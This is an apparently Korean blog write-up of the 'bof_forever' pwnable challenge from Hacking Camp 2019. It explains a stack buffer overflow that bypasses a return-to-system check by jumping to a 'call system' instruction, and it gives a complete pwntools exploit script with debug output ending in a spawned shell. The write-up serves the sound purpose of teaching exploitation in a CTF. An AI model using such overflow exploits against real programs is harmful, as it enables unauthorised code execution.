본문으로 바로가기

Analysis

int __cdecl main()
{
 char buf; // [esp+0h] [ebp-204h]
 int (**retaddr)(const char *); // [esp+208h] [ebp+4h]

 system("echo hi");
 read(0, &buf, 0x800u);
 if ( retaddr == &system )
{
   perror("no hack~");
   exit(-1);
}
 return 0;
}

ret에 system주소가 들어오면 막게 되어있다. 그래서 system을 ret주소에 직접적으로 넣지는 못한다.

bss에다가 /bin/sh박고 어뜨케 할려고 bss영역을 확인을 해보았다.

.data:0804A01C _data           segment dword public 'DATA' use32
.data:0804A01C                 assume cs:_data
.data:0804A01C                 ;org 804A01Ch
.data:0804A01C                 db    0
.data:0804A01D                 db    0
.data:0804A01E                 db    0
.data:0804A01F                 db    0
.data:0804A020                 db    0
.data:0804A021                 db    0
.data:0804A022                 db    0
.data:0804A023                 db    0
.data:0804A024                 db  2Fh ; /
.data:0804A025                 db  62h ; b
.data:0804A026                 db  69h ; i
.data:0804A027                 db  6Eh ; n
.data:0804A028                 db  2Fh ; /
.data:0804A029                 db  73h ; s
.data:0804A02A                 db  68h ; h
.data:0804A02B                 db    0
.data:0804A02B _data           ends

보다싶이 data section에 /bin/sh문자열이 저장되어있는것을 볼 수 있다.

그리고 ret에 system 주소를 못넣는거지 call system은 넣을 수 있다.

무슨말이냐면 call system이랑 system plt랑은 다르다는 것!

그래서 ret에다가 `system plt를 넣어둔다.

그다음에 /bin/sh가 적혀있는 data섹션의 주소를 넣어주면 된다.


Exploit

from pwn import *

context.log_level = "debug"

e = ELF("./bofforever")
#r = remote("kshgroup.kr", 20201 )
r = process("./bofforever")

bss = e.bss()
read_plt = e.plt["read"]
system = 0x80484d2
pr = 0x08048331
binsh = 0x804a024

payload = ""
payload += "A" * (0x204 + 0x4)
payload += p32(system)
payload += p32(binsh)

r.recvuntil("hi\n")
r.send(payload)

r.interactive()


Flag

juntae@ubuntu:~/ctf/hakcamp2019/pwn/bof_forever$ p ex.py 
[DEBUG] PLT 0x8048350 read
[DEBUG] PLT 0x8048360 perror
[DEBUG] PLT 0x8048370 exit
[DEBUG] PLT 0x8048380 __libc_start_main
[DEBUG] PLT 0x8048390 system
[DEBUG] PLT 0x8048394 __gmon_start__
[*] '/home/juntae/ctf/hakcamp2019/pwn/bof_forever/bofforever'
   Arch:     i386-32-little
   RELRO:    Partial RELRO
   Stack:    No canary found
   NX:       NX enabled
   PIE:      No PIE (0x8048000)
[+] Starting local process './bofforever': pid 2818
[DEBUG] Received 0x3 bytes:
   'hi\n'
[DEBUG] Sent 0x210 bytes:
   00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
   *
   00000200  41 41 41 41  41 41 41 41  d2 84 04 08  24 a0 04 08  │AAAA│AAAA│····│$···│
   00000210
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
   'ls\n'
[DEBUG] Received 0x18 bytes:
   'bofforever core ex.py\n'
bofforever  core  ex.py
$  

끝!

'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[hackingcamp] magic ( write-up )  (0) 2019.08.25
[hackingcamp] campnote ( write-up )  (0) 2019.08.25
[SSTF] bofsb ( write-up )  (0) 2019.08.20
[HITCON] Sleepy Holder ( write-up )  (0) 2019.08.04
[Rctf] Rnote ( write-up )  (0) 2019.08.02